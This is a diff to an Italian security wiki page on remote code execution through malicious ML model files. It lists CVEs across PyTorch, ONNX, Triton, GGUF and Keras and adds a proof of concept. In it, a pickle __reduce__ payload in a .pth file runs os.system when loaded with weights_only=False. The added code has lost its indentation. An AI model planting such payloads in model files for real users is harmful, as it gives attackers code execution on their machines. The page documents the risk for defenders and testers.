diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md
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+++ b/src/AI/AI-Models-RCE.md
@@ -16,13 +16,50 @@ Al momento della scrittura, questi sono alcuni esempi di questo tipo di vulnerab
 | TensorFlow (TFLite)         | **CVE-2022-23559** (analisi TFLite)                                                                                         | Modello `.tflite` creato provoca overflow intero → corruzione dell'heap (potenziale RCE)                                               | |
 | **Scikit-learn** (Python)   | **CVE-2020-13092** (joblib/pickle)                                                                                          | Caricamento di un modello tramite `joblib.load` esegue pickle con il payload `__reduce__` dell'attaccante                              | |
 | **NumPy** (Python)          | **CVE-2019-6446** (unsafe `np.load`) *contestato*                                                                           | `numpy.load` di default consentiva array di oggetti pickle – `.npy/.npz` malevoli provocano esecuzione di codice                      | |
-| **ONNX / ONNX Runtime**     | **CVE-2022-25882** (traversal di directory) <br> **CVE-2024-5187** (traversal tar)                                         | Il percorso dei pesi esterni del modello ONNX può uscire dalla directory (lettura di file arbitrari) <br> Modello ONNX malevolo tar può sovrascrivere file arbitrari (portando a RCE) | |
+| **ONNX / ONNX Runtime**     | **CVE-2022-25882** (traversal di directory) <br> **CVE-2024-5187** (traversal tar)                                         | Il percorso dei pesi esterni del modello ONNX può uscire dalla directory (leggere file arbitrari) <br> Modello ONNX malevolo tar può sovrascrivere file arbitrari (portando a RCE) | |
 | ONNX Runtime (rischio di design) | *(Nessun CVE)* operazioni personalizzate ONNX / flusso di controllo                                                        | Modello con operatore personalizzato richiede il caricamento del codice nativo dell'attaccante; grafi di modello complessi abusano della logica per eseguire calcoli non intenzionati | |
-| **NVIDIA Triton Server**    | **CVE-2023-31036** (traversal di percorso)                                                                                  | Utilizzando l'API di caricamento del modello con `--model-control` abilitato consente la traversal di percorso relativo per scrivere file (ad es., sovrascrivere `.bashrc` per RCE) | |
+| **NVIDIA Triton Server**    | **CVE-2023-31036** (traversal di percorso)                                                                                  | Utilizzando l'API di caricamento del modello con `--model-control` abilitato consente la traversata di percorso relativo per scrivere file (ad es., sovrascrivere `.bashrc` per RCE) | |
 | **GGML (formato GGUF)**     | **CVE-2024-25664 … 25668** (molti overflow dell'heap)                                                                       | File di modello GGUF malformato provoca overflow del buffer dell'heap nel parser, abilitando l'esecuzione di codice arbitrario sul sistema vittima | |
-| **Keras (formati più vecchi)** | *(Nessun nuovo CVE)* Modello Keras H5 legacy                                                                                | Modello HDF5 (`.h5`) malevolo con codice del layer Lambda continua a eseguire al caricamento (Keras safe_mode non copre il vecchio formato – “attacco di downgrade”) | |
-| **Altri** (generale)        | *Difetto di design* – Serializzazione Pickle                                                                                 | Molti strumenti ML (ad es., formati di modello basati su pickle, `pickle.load` di Python) eseguiranno codice arbitrario incorporato nei file di modello a meno che non venga mitigato | |
+| **Keras (formati più vecchi)** | *(Nessun nuovo CVE)* Modello Keras H5 legacy                                                                                | Modello HDF5 (`.h5`) malevolo con codice Lambda layer continua a eseguire al caricamento (Keras safe_mode non copre il formato vecchio – “attacco di downgrade”) | |
+| **Altri** (generale)        | *Difetto di design* – Serializzazione Pickle                                                                                 | Molti strumenti ML (ad es., formati di modello basati su pickle, `pickle.load` di Python) eseguiranno codice arbitrario incorporato nei file modello a meno che non venga mitigato | |
 
 Inoltre, ci sono alcuni modelli basati su pickle di Python, come quelli utilizzati da [PyTorch](https://github.com/pytorch/pytorch/security), che possono essere utilizzati per eseguire codice arbitrario sul sistema se non vengono caricati con `weights_only=True`. Quindi, qualsiasi modello basato su pickle potrebbe essere particolarmente suscettibile a questo tipo di attacchi, anche se non è elencato nella tabella sopra.
 
+Esempio:
+
+- Crea il modello:
+```python
+# attacker_payload.py
+import torch
+import os
+
+class MaliciousPayload:
+def __reduce__(self):
+# This code will be executed when unpickled (e.g., on model.load_state_dict)
+return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))
+
+# Create a fake model state dict with malicious content
+malicious_state = {"fc.weight": MaliciousPayload()}
+
+# Save the malicious state dict
+torch.save(malicious_state, "malicious_state.pth")
+```
+- Carica il modello:
+```python
+# victim_load.py
+import torch
+import torch.nn as nn
+
+class MyModel(nn.Module):
+def __init__(self):
+super().__init__()
+self.fc = nn.Linear(10, 1)
+
+model = MyModel()
+
+# ⚠️ This will trigger code execution from pickle inside the .pth file
+model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
+
+# /tmp/pwned.txt is created even if you get an error
+```
 {{#include ../banners/hacktricks-training.md}}